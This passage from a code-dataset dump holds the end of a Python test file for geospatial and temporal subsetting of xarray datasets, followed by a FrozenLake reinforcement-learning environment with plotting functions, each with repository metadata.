10.5, 22),\n            'lon': np.linspace(-20.5, 20.5, 42)})\n        assert_dataset_equal(expected, actual)\n\n    def test_antimeridian_simple(self):\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360)})\n\n        # With masking\n        actual = subset.subset_spatial(dataset, '170, -5, -170, 5', mask=True)\n        masked = actual.sel(method='nearest', **{'lon': 0, 'lat': 0})\n        self.assertTrue(np.isnan(masked['first']).all())\n\n    def test_antimeridian_simple_inverted(self):\n        # Inverted lat\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(89.5, -89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360)})\n\n        # With masking\n        actual = subset.subset_spatial(dataset, '170, -5, -170, 5', mask=True)\n        masked = actual.sel(method='nearest', **{'lon': 0, 'lat': 0})\n        self.assertTrue(np.isnan(masked['first']).all())\n\n    def test_antimeridian_arbitrary(self):\n        antimeridian_pol = str('POLYGON(('\n                               '162.0703125 39.639537564366705,'\n                               '-155.390625 39.774769485295465,'\n                               '-155.56640625 12.726084296948184,'\n                               '162.24609375 12.897489183755905,'\n                               '161.89453125 26.745610382199025,'\n                               '162.0703125 39.639537564366705'\n                               '))')\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360)})\n\n        with self.assertRaises(Exception) as cm:\n            subset.subset_spatial(dataset, antimeridian_pol)\n        self.assertIn('anti-meridian', str(cm.exception))\n\n    def test_antimeridian_arbitrary_inverted(self):\n        antimeridian_pol = str('POLYGON(('\n                               '162.0703125 39.639537564366705,'\n                               '-155.390625 39.774769485295465,'\n                               '-155.56640625 12.726084296948184,'\n                               '162.24609375 12.897489183755905,'\n                               '161.89453125 26.745610382199025,'\n                               '162.0703125 39.639537564366705'\n                               '))')\n        # Inverted lat\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(89.5, -89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360)})\n\n        with self.assertRaises(Exception) as cm:\n            subset.subset_spatial(dataset, antimeridian_pol)\n        self.assertIn('anti-meridian', str(cm.exception))\n\n    def test_select_single_center(self):\n        \"\"\"\n        Test subset spatial with a polygon that completely fits\n        inside pixel bounds\n        \"\"\"\n        # Masked\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([6, 12, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([6, 12, 3])),\n            'lat': np.linspace(-75, 75, 6),\n            'lon': np.linspace(-165, 165, 12),\n            'time': [datetime(2000, x, 1) for x in range(1, 4)]})\n        poly = ((32, 2), (34, 28), (58, 29), (54, 4))\n        actual = subset.subset_spatial(dataset, region=poly)\n        expected = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([1, 1, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([1, 1, 3])),\n            'lat': [15.],\n            'lon': [45.],\n            'time': [datetime(2000, x, 1) for x in range(1, 4)]})\n\n        assert_dataset_equal(expected, actual)\n\n        # Not masked\n        actual = subset.subset_spatial(dataset, region=poly, mask=False)\n        assert_dataset_equal(expected, actual)\n\n    def test_select_single_vertice(self):\n        \"\"\"\n        Test with a polygon that encloses a single pixel vertice,\n        but no centers. That is, crosses four pixels\n        \"\"\"\n        # Masked\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([6, 12, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([6, 12, 3])),\n            'lat': np.linspace(-75, 75, 6),\n            'lon': np.linspace(-165, 165, 12),\n            'time': [datetime(2000, x, 1) for x in range(1, 4)]})\n        poly = ((25, 2), (27, 40), (58, 38), (54, 4))\n        actual = subset.subset_spatial(dataset, region=poly)\n        expected = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([2, 2, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([2, 2, 3])),\n            'lat': [15., 45.],\n            'lon': [15., 45.],\n            'time': [datetime(2000, x, 1) for x in range(1, 4)]})\n\n        assert_dataset_equal(expected, actual)\n\n        # Not masked\n        actual = subset.subset_spatial(dataset, region=poly, mask=False)\n        assert_dataset_equal(expected, actual)\n\n    def test_select_1d_lat(self):\n        \"\"\"\n        Test with a polyon that runs over pixel boundaries in the\n        latitude direction, resulting in selecting a single column\n        \"\"\"\n        # Masked\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([6, 12, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([6, 12, 3])),\n            'lat': np.linspace(-75, 75, 6),\n            'lon': np.linspace(-165, 165, 12),\n            'time': [datetime(2000, x, 1) for x in range(1, 4)]})\n        poly = ((25, 2), (27, 47), (12, 50), (10, 4))\n        actual = subset.subset_spatial(dataset, region=poly)\n        expected = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([2, 1, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([2, 1, 3])),\n            'lat': [15., 45.],\n            'lon': [15.],\n            'time': [datetime(2000, x, 1) for x in range(1, 4)]})\n\n        assert_dataset_equal(expected, actual)\n\n        # Not masked\n        actual = subset.subset_spatial(dataset, region=poly, mask=False)\n        assert_dataset_equal(expected, actual)\n\n    def test_select_1d_lon(self):\n        \"\"\"\n        Test with a polygon that runs over pixel boundaries in the\n        longitude direction. E.g., selects a single row\n        \"\"\"\n        # Masked\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([6, 12, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([6, 12, 3])),\n            'lat': np.linspace(-75, 75, 6),\n            'lon': np.linspace(-165, 165, 12),\n            'time': [datetime(2000, x, 1) for x in range(1, 4)]})\n        poly = ((-28, 32), (-26, 58), (28, 52), (25, 33))\n        actual = subset.subset_spatial(dataset, region=poly)\n        expected = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([1, 2, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([1, 2, 3])),\n            'lat': [45.],\n            'lon': [-15., 15.],\n            'time': [datetime(2000, x, 1) for x in range(1, 4)]})\n\n        assert_dataset_equal(expected, actual)\n\n        # Not masked\n        actual = subset.subset_spatial(dataset, region=poly, mask=False)\n        assert_dataset_equal(expected, actual)\n\n    def test_select_from_single_pixel(self):\n        \"\"\"\n        Test subset spatial where the input dataset has only one pixel\n        \"\"\"\n        # Masked\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([1, 1, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([1, 1, 3])),\n            'lat': [45.],\n            'lon': [15.],\n            'time': [datetime(2000, x, 1) for x in range(1, 4)]})\n        poly = ((-28, 32), (-26, 58), (28, 52), (25, 33))\n        actual = subset.subset_spatial(dataset, region=poly)\n\n        assert_dataset_equal(dataset, actual)\n\n        # Not masked\n        actual = subset.subset_spatial(dataset, region=poly, mask=False)\n        assert_dataset_equal(dataset, actual)\n\n    def test_out_of_bounds(self):\n        \"\"\"\n        Test that an appropriate error is raised when the polygon\n        wouldn't select any data from the original dataset\n        \"\"\"\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([1, 1, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([1, 1, 3])),\n            'lat': [45.],\n            'lon': [15.],\n            'time': [datetime(2000, x, 1) for x in range(1, 4)]})\n        poly = ((32, 32), (34, 58), (56, 56), (58, 33))\n\n        with self.assertRaises(ValueError) as err:\n            subset.subset_spatial(dataset, region=poly)\n        self.assertIn('Can not select', str(err.exception))\n\n        # Not masked\n        with self.assertRaises(ValueError) as err:\n            subset.subset_spatial(dataset, region=poly, mask=False)\n        self.assertIn('Can not select', str(err.exception))\n\n    def test_non_geospatial_variable(self):\n        \"\"\"\n        Test that subsetting a dataset that contains a non-geospatial\n        dataset skips such a dataset\n        \"\"\"\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'third': (['time'], np.ones([6])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360),\n            'time': np.array([0, 1, 2, 3, 4, 5])})\n        actual = subset.subset_spatial(dataset, \"-20, -10, 20, 10\")\n        expected = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([22, 42, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([22, 42, 6])),\n            'third': (['time'], np.ones([6])),\n            'lat': np.linspace(-10.5, 10.5, 22),\n            'lon': np.linspace(-20.5, 20.5, 42),\n            'time': np.array([0, 1, 2, 3, 4, 5])})\n        assert_dataset_equal(expected, actual)\n\n        poly = \"POLYGON ((6.609745636041873 45.391851854914776, 19.720614826531428 45.391851854914776, 19.720614826531428 37.06301149556095, 6.609745636041874 37.06301149556095, 6.609745636041873 45.391851854914776))\"\n        actual = subset.subset_spatial(dataset, poly, mask=True)\n        xr.testing.assert_equal(expected.third, actual.third)\n\n\nclass TestSubsetTemporal(TestCase):\n    def test_subset_temporal(self):\n        # Test general functionality\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360),\n            'time': [datetime(2000, x, 1) for x in range(1, 7)]})\n        actual = subset.subset_temporal(dataset, '2000-01-10, 2000-04-01')\n        expected = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360),\n            'time': [datetime(2000, x, 1) for x in range(2, 5)]})\n        assert_dataset_equal(expected, actual)\n\n    def test_invalid_dtype(self):\n        # Test passing in a MJD dataset\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360),\n            'time': [2451544.5,\n                     2451575.5,\n                     2451604.5,\n                     2451635.5,\n                     2451665.5,\n                     2451696.5]})\n        with self.assertRaises(ValueError) as err:\n            subset.subset_temporal(dataset, '2000-01-10, 2000-04-01')\n        self.assertIn('type datetime', str(err.exception))\n\n    def test_registered(self):\n        \"\"\"\n        Test if it runs as an operation registered in the op registry.\n        \"\"\"\n        reg_op = OP_REGISTRY.get_op(object_to_qualified_name(subset.subset_temporal))\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360),\n            'time': [datetime(2000, x, 1) for x in range(1, 7)]})\n        actual = reg_op(ds=dataset, time_range='2000-01-10, 2000-04-01')\n        expected = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360),\n            'time': [datetime(2000, x, 1) for x in range(2, 5)]})\n        assert_dataset_equal(expected, actual)\n\n\nclass TestSubsetTemporalIndex(TestCase):\n    def test_subset_temporal_index(self):\n        # Test general functionality\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360),\n            'time': ['2000-01-01',\n                     '2000-02-01',\n                     '2000-03-01',\n                     '2000-04-01',\n                     '2000-05-01',\n                     '2000-06-01']})\n        actual = subset.subset_temporal_index(dataset, 2, 4)\n        expected = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360),\n            'time': ['2000-03-01', '2000-04-01', '2000-05-01']})\n        assert_dataset_equal(expected, actual)\n\n    def test_registered(self):\n        \"\"\"\n        Test if it runs as an operation registered in the op registry.\n        \"\"\"\n        reg_op = OP_REGISTRY.get_op(object_to_qualified_name(subset.subset_temporal_index))\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360),\n            'time': ['2000-01-01',\n                     '2000-02-01',\n                     '2000-03-01',\n                     '2000-04-01',\n                     '2000-05-01',\n                     '2000-06-01']})\n        actual = reg_op(ds=dataset, time_ind_min=2, time_ind_max=4)\n        expected = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360),\n            'time': ['2000-03-01', '2000-04-01', '2000-05-01']})\n        assert_dataset_equal(expected, actual)\n\n\nclass TestExtractPoint(TestCase):\n    @classmethod\n    def setUpClass(cls):\n        v1_data = np.arange(18).reshape((3, 3, 2))\n        v2_data = np.arange(100, 118).reshape((3, 3, 2))\n        v3_data = np.arange(36).reshape((3, 3, 2, 2))\n        v4_data = np.arange(50, 59).reshape((3, 3))\n        cls._ds = xr.Dataset(\n            {\n                'v1': (['lat', 'lon', 'd1'], v1_data),\n                'v2': (['lat', 'lon', 'd2'], v2_data),\n                'v3': (['lat', 'lon', 'd1', 'd2'], v3_data),\n                'v4': (['lat', 'lon'], v4_data)\n            },\n            coords={\n                'lon': np.array([12, 13, 14], np.dtype('float64')),\n                'lat': np.array([22, 23, 24], np.dtype('float64')),\n                'd1': [1, 2],\n                'd2': [datetime(2000, 3, 1), datetime(2000, 4, 1)]\n            }\n        )\n\n    def test_all_extra_dims(self):\n        result = subset.extract_point(self._ds, (12.2, 23.2), indexers={'d1': 2, 'd2': '2000-03-01'})\n        self.assertEqual({'lat': 23.0, 'lon': 12.0, 'v1': 7.0, 'v2': 106.0, 'v3': 14.0, 'v4': 53.0}, result)\n\n    def test_one_extra_dims(self):\n        result = subset.extract_point(self._ds, (12.2, 23.2), indexers={'d1': 2})\n        self.assertEqual({'lat': 23.0, 'lon': 12.0, 'v1': 7.0, 'v4': 53.0}, result)\n\n        result = subset.extract_point(self._ds, (12.2, 23.2), indexers={'d2': '2000-03-01'})\n        self.assertEqual({'lat': 23.0, 'lon': 12.0, 'v2': 106.0, 'v4': 53.0}, result)\n\n    def test_no_extra_dims(self):\n        result = subset.extract_point(self._ds, (12.2, 23.2), indexers={})\n        self.assertEqual({'lat': 23.0, 'lon': 12.0, 'v4': 53.0}, result)\n\n        result = subset.extract_point(self._ds, (12.2, 23.2))\n        self.assertEqual({'lat': 23.0, 'lon': 12.0, 'v4': 53.0}, result)\n\n    def test_unknown_dim(self):\n        result = subset.extract_point(self._ds, (12.2, 23.2), indexers={'x1': 42})\n        self.assertEqual({'lat': 23.0, 'lon': 12.0, 'v4': 53.0}, result)\n\n    def test_point_out_of_bounds(self):\n        result = subset.extract_point(self._ds, (0, 0), indexers={'d1': 2, 'd2': '2000-03-01'})\n        self.assertEqual({}, result)\n\n        result = subset.extract_point(self._ds, (0, 0))\n        self.assertEqual({}, result)\n\n    def test_extra_dim_with_no_exact_match(self):\n        # no exact match for 'd2', the same as if 'd2' is not given\n        result = subset.extract_point(self._ds, (12.2, 23.2), indexers={'d1': 2, 'd2': '2000-03-02'})\n        self.assertEqual({'lat': 23.0, 'lon': 12.0, 'v1': 7.0, 'v4': 53.0}, result)\n\n        result = subset.extract_point(self._ds, (12.2, 23.2), indexers={'d1': 1.1, 'd2': '2000-03-01'})\n        self.assertEqual({'lat': 23.0, 'lon': 12.0, 'v2': 106.0, 'v4': 53.0}, result)\n", "meta": {"hexsha": "f6e5e5005dcd0b4af1a49b8642f4758b88264b1b", "size": 27904, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/ops/test_subset.py", "max_stars_repo_name": "strawpants/cate", "max_stars_repo_head_hexsha": "eeef7da204b2f5c6dab1a90cb240aa5158c44513", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 34, "max_stars_repo_stars_event_min_datetime": "2017-09-28T19:08:59.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-09T14:53:26.000Z", "max_issues_repo_path": "tests/ops/test_subset.py", "max_issues_repo_name": "strawpants/cate", "max_issues_repo_head_hexsha": "eeef7da204b2f5c6dab1a90cb240aa5158c44513", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 608, "max_issues_repo_issues_event_min_datetime": "2017-09-25T20:29:52.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-28T11:02:21.000Z", "max_forks_repo_path": "tests/ops/test_subset.py", "max_forks_repo_name": "strawpants/cate", "max_forks_repo_head_hexsha": "eeef7da204b2f5c6dab1a90cb240aa5158c44513", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 14, "max_forks_repo_forks_event_min_datetime": "2017-10-16T07:34:59.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-22T15:52:37.000Z", "avg_line_length": 45.0064516129, "max_line_length": 217, "alphanum_fraction": 0.5206422018, "include": true, "reason": "import numpy", "num_tokens": 8525, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10087861597222171, "lm_q1q2_score": 0.050439307986110855}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Oct 4\r\n\r\n@author: Wang Yizhuo\r\n\"\"\"\r\n\r\nimport random\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nclass FrozenLake:\r\n    \"\"\"Environment of frozen lake.\r\n    \r\n    Attributes:\r\n        map_idx: 0 for 4x4 map, 1 for 10x10 map.\r\n    \"\"\"    \r\n\r\n    def __init__(self, map_idx):\r\n        \"\"\"Define and decode the map.\r\n        Do not change the params here.\r\n\r\n        Args:\r\n            map_idx (int): map index\r\n        \"\"\"        \r\n\r\n        self.ACTIONS = {  # coord in the matrix\r\n            0: (-1,  0),  # Up\r\n            1: ( 0,  1),  # Right\r\n            2: ( 1,  0),  # Down\r\n            3: ( 0, -1),  # Left\r\n        }\r\n\r\n        self.CELL = {     # interpret the map file\r\n            0: 'ice',\r\n            1: 'hole',\r\n            2: 'start',\r\n            3: 'frisbee',\r\n        }\r\n        \r\n        self.filepath = ['./map_4x4.txt', './map_10x10.txt']\r\n        self.state             = None\r\n        self.map               = np.loadtxt(self.filepath[map_idx], dtype=int)\r\n        self.MAP_X, self.MAP_Y = self.map.shape\r\n        self.init_states       = [(x, y) for x in range(self.MAP_X) for y in range(self.MAP_Y) if self.CELL[self.map[x, y]] == 'start'] # find init state\r\n        self.e_fail, self.e_success, self.e_opt_policy = {}, {}, []\r\n\r\n    def reset(self):\r\n        \"\"\"Reset the state to the start\r\n\r\n        Returns:\r\n            tuple: state coord\r\n        \"\"\"   \r\n\r\n        self.state = random.choice(self.init_states)\r\n        return self.state\r\n\r\n    def step(self, action:int):\r\n        \"\"\"Take a step given state and action, and return the next step and reward.\r\n\r\n        Args:\r\n            action (int): input an action\r\n\r\n        Raises:\r\n            RuntimeWarning: If there is no corresponding cell, the map file might contain illegal characters.\r\n\r\n        Returns:\r\n            tuple: next valid state given action\r\n            float: the reward of next state\r\n            bool: if next state is terminal\r\n        \"\"\"    \r\n\r\n        done    = False\r\n        reward  = 0\r\n        dx, dy  = self.ACTIONS[action]\r\n        new_state = self.state[0] + dx, self.state[1] + dy\r\n\r\n        reward -= 0                                                # penalty for moving each timestep, 0 by default\r\n        if not (0 <= new_state[0] < self.MAP_X and 0 <= new_state[1] < self.MAP_Y):\r\n            reward -= 0                                            # penalty for going out of bound, 0 by default. Keep where they are\r\n        elif self.CELL[self.map[new_state]] in ['ice', 'start']:\r\n            self.state = new_state\r\n            reward -= 0                                            # penalty for moving, 0 by default\r\n        elif self.CELL[self.map[new_state]] == 'hole':\r\n            self.state = new_state\r\n            reward -= 1                                            # penalty for fall into the hole, -1 by default. terminal state\r\n            done = True\r\n        elif self.CELL[self.map[new_state]] == 'frisbee':\r\n            self.state = new_state\r\n            reward += 1                                            # reward for get the frisbee, +1 by default. terminalstate\r\n            done = True\r\n        else:\r\n            raise RuntimeWarning('No corresponding cell. Check your map file.')\r\n\r\n        return self.state, reward, done\r\n\r\n    def render(self, e_len, e, e_all, policy):\r\n        \"\"\"Store the info for each episode.\r\n        Detect whether the episode ends with getting the frisbee, and store it in the attributes.\r\n\r\n        Args:\r\n            e_len (int): length of the episode\r\n            e (int): current episode\r\n            e_all (int): number of total episode\r\n            policy (dict): the policy table\r\n        \"\"\"   \r\n\r\n        self._show_progress(e)                           # show progress of training on the sreen\r\n        if self.CELL[self.map[self.state]] == 'frisbee': # store if the episode ends with getting the frisbee or not\r\n            self.e_success[e] = e_len\r\n        else:\r\n            self.e_fail[e] = e_len\r\n        if self._is_success(policy):                     # judge if the policy is optimal or not, record if it is optimal\r\n            self.e_opt_policy.append(e)\r\n        if e == e_all - 1:                               # judge at the last episode, show if a successful policy has been reached during the training\r\n            if self.e_success:\r\n                print('Frisbee firstly reach at episode:', list(self.e_success.keys())[0])\r\n            else:\r\n                print('More training is needed.')\r\n            if e in self.e_success:\r\n                self.render_policy(policy)               # show the policy\r\n\r\n    def render_all(self, e_all, name, policy_table, Qtable):\r\n        \"\"\"Render graphs when finished the training.\r\n\r\n        Args:\r\n            e_all (int): number of total episode\r\n            name (string): name of the algorithm\r\n            policy_table (dict): policy table\r\n            Qtable (dict): Q table\r\n        \"\"\"        \r\n\r\n        plt.figure()\r\n        l1 = plt.scatter(self.e_fail.keys(), self.e_fail.values(), s=0.8, alpha=0.3, label='Fail')     # plot failed points in blue\r\n        l2 = plt.scatter(self.e_success.keys(), self.e_success.values(), s=0.8, c='red', alpha=1.0)    # plot successful points in red\r\n        l3 = plt.vlines(self.e_opt_policy, 0, max(self.e_fail.values()), colors='green', alpha=0.05)   # plot optimal policy lines in green\r\n        plt.legend(handles=[l1,l2,l3], labels=['Fail','Success','Optimal policy'], loc='upper right')\r\n        plt.title('Training Process of '+ name)\r\n        plt.xlabel('#Episode')\r\n        plt.ylabel('Step length')\r\n        # plt.savefig(r'xxx.png', dpi=300)                # save figure for report\r\n        self.render_heatmap(policy_table, Qtable, name)   # render the heatmap\r\n\r\n    def render_heatmap(self, policy_table, Qtable, name):\r\n        \"\"\"Render heatmap.\r\n\r\n        Args:\r\n            policy_table (dict): policy table\r\n            Qtable (dict): Q table\r\n            name (string): name of the algorithm\r\n        \"\"\"   \r\n\r\n        num_cell = max(Qtable.keys())[0] + 1                    # number of the states\r\n        Q = np.full((num_cell, num_cell), 0, dtype=float)       # create a square state matrix\r\n        mask = np.full((num_cell, num_cell), False, dtype=bool) # for the use of mask of heatmap\r\n        for x, y in Qtable.keys():\r\n            Q[x][y] = max(Qtable[(x, y)])                       # put the values of Q table dict into the 2D array correspondingly\r\n        for y in range(self.MAP_Y):\r\n            for x in range(self.MAP_X):\r\n                if self.CELL[self.map[(x, y)]] == 'hole':       # create mask, to make the cells at holes and target blank\r\n                    mask[x][y] = True\r\n                elif self.CELL[self.map[(x, y)]] == 'frisbee':\r\n                    mask[x][y] = True\r\n        plt.figure()\r\n        sns.heatmap(Q, annot=True, cmap='RdBu_r', square=True, mask=mask, linewidths=0.3, linecolor='black', annot_kws={'size': 5}) # plot the heatmap with mask\r\n        # sns.heatmap(Q, cmap='RdBu_r', square=True, mask=mask, linewidths=0.3, linecolor='black')   # heatmap without annotations\r\n        plt.title('Max state-action value given state ({})'.format(name))\r\n        # plt.savefig(r'{}.png'.format(name), dpi=300)                                               # save figure for report\r\n\r\n    def render_policy(self, policy_table):\r\n        \"\"\"Show policy on the screen.\"\"\"      \r\n\r\n        done = False\r\n        self.state = self.reset()\r\n        state_list, action_list = [self.state], []\r\n        while not done:\r\n            action = int(np.argmax(policy_table[self.state]))\r\n            _, _, done = self.step(action)\r\n            state_list.append(self.state)\r\n            action_list.append(action)\r\n        print('Policy (state): {}'.format(state_list))\r\n        print('Policy (action): {}'.format(action_list))\r\n\r\n    def _is_success(self, policy_table):\r\n        \"\"\"Judge whether the policy is optimal.\r\n\r\n        Args:\r\n            policy_table (dict)\r\n\r\n        Returns:\r\n            bool: True if optimal, false otherwise\r\n        \"\"\"      \r\n\r\n        state = self.reset()\r\n        done = False\r\n        state_list = []\r\n        while not done:\r\n            action = int(np.argmax(policy_table[state]))               # use argmax to extract the policy\r\n            dx, dy = self.ACTIONS[action]\r\n            state_list.append(state)\r\n            new_state = state[0] + dx, state[1] + dy\r\n            if not (0 <= new_state[0] < self.MAP_X and 0 <= new_state[1] < self.MAP_Y):\r\n                done = True                                            # an optimal policy should not hit the wall\r\n            elif new_state in state_list:\r\n                done = True                                            # an optimal policy should not be recurrent\r\n            elif self.CELL[self.map[new_state]] == 'ice':\r\n                state = new_state\r\n            elif self.CELL[self.map[new_state]] in ['hole', 'start']:\r\n                done = True                                            # an optimal policy should not fall into the hole or back to the start\r\n            elif self.CELL[self.map[new_state]] == 'frisbee':\r\n                return True                                            # an optimal policy should lead to the target successfully\r\n        return False\r\n\r\n    def _show_progress(self, e):\r\n        \"\"\"Show progress on the sreen.\"\"\"\r\n\r\n        if e % 10 == 0:\r\n            print('Episode: %d' % e, end='\\r')\r\n\r\ndef render_learn_curve(envS, envQ, envM):\r\n    \"\"\"Render the learning curve of three algorithms.\r\n\r\n    Args:\r\n        envS (class): SARSA env\r\n        envQ (class): Q-learning env\r\n        envM (class): Monte Carlo env\r\n    \"\"\"    \r\n\r\n    l     = []\r\n    num_e = len(envS.env.e_fail) + len(envS.env.e_success)\r\n    E     = list(range(num_e))\r\n    plt.figure()\r\n    for env in [envS, envQ, envM]:                 # loop for all the envs\r\n        s_all = 0                                  # accumulative step number\r\n        s     = []                                 # accumulative step number for each episode\r\n        for e in range(num_e):\r\n            if e in env.env.e_fail.keys():\r\n                s_all += env.env.e_fail[e]\r\n                s.append(s_all)\r\n            elif e in env.env.e_success.keys():\r\n                s_all += env.env.e_success[e]\r\n                s.append(s_all)\r\n        handle, = plt.plot(E, s)                   # comma after handle to unzip\r\n        l.append(handle)\r\n    plt.legend(handles=l, labels=[envS.name, envQ.name, envM.name])\r\n    plt.xlabel('#Episode')\r\n    plt.ylabel('Accumulative steps')\r\n    plt.title('Comparison of learning curve')\r\n\r\ndef render_success_rate(envS, envQ, envM, smooth_size=20):\r\n    \"\"\" Render success rate for each env.\r\n\r\n    Args:\r\n        envS (class): SARSA env\r\n        envQ (class): Q-learning env\r\n        envM (class): Monte Carlo env\r\n        smooth_size (int, optional): take an average to a batch of episodes to smooth the curve. Defaults to 20.\r\n    \"\"\"    \r\n\r\n    l = []\r\n    num_e = len(envS.env.e_fail) + len(envS.env.e_success)\r\n    plt.figure()\r\n    for env in [envS, envQ, envM]:\r\n        e_smooth, s = [], []\r\n        for batch in range(num_e // smooth_size):\r\n            e_smooth.append(batch * smooth_size + smooth_size // 2)     # center loc of the batch\r\n            cnt = 0                                                     # counter for sccessful exploration\r\n            for e in range(batch*smooth_size, (batch + 1)*smooth_size):\r\n                if e in env.env.e_success.keys():\r\n                    cnt += 1\r\n            s.append(100 * cnt / smooth_size)                           # percentage of average sccess rate in a batch\r\n        handle, = plt.plot(e_smooth, s)\r\n        l.append(handle)\r\n    plt.legend(handles=l, labels=[envS.name, envQ.name, envM.name])\r\n    plt.title('Comparison of three method with a smoothness of {} episodes'.format(smooth_size))\r\n", "meta": {"hexsha": "d43f4e44ef7980cd9de50f0fa847fb66eac6fa58", "size": 12054, "ext": "py", "lang": "Python", "max_stars_repo_path": "frozenlake_env.py", "max_stars_repo_name": "wyzh98/FrozenLake_NUS", "max_stars_repo_head_hexsha": "dd96e089ca7a2233dde12186ea1968fa0ae2e153", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 8, "max_stars_repo_stars_event_min_datetime": "2020-10-10T09:33:07.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-26T17:16:40.000Z", "max_issues_repo_path": "frozenlake_env.py", "max_issues_repo_name": "wyzh98/FrozenLake_NUS", "max_issues_repo_head_hexsha": "dd96e089ca7a2233dde12186ea1968fa0ae2e153", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "frozenlake_env.py", "max_forks_repo_name": "wyzh98/FrozenLake_NUS", "max_forks_repo_head_hexsha": "dd96e089ca7a2233dde12186ea1968fa0ae2e153", 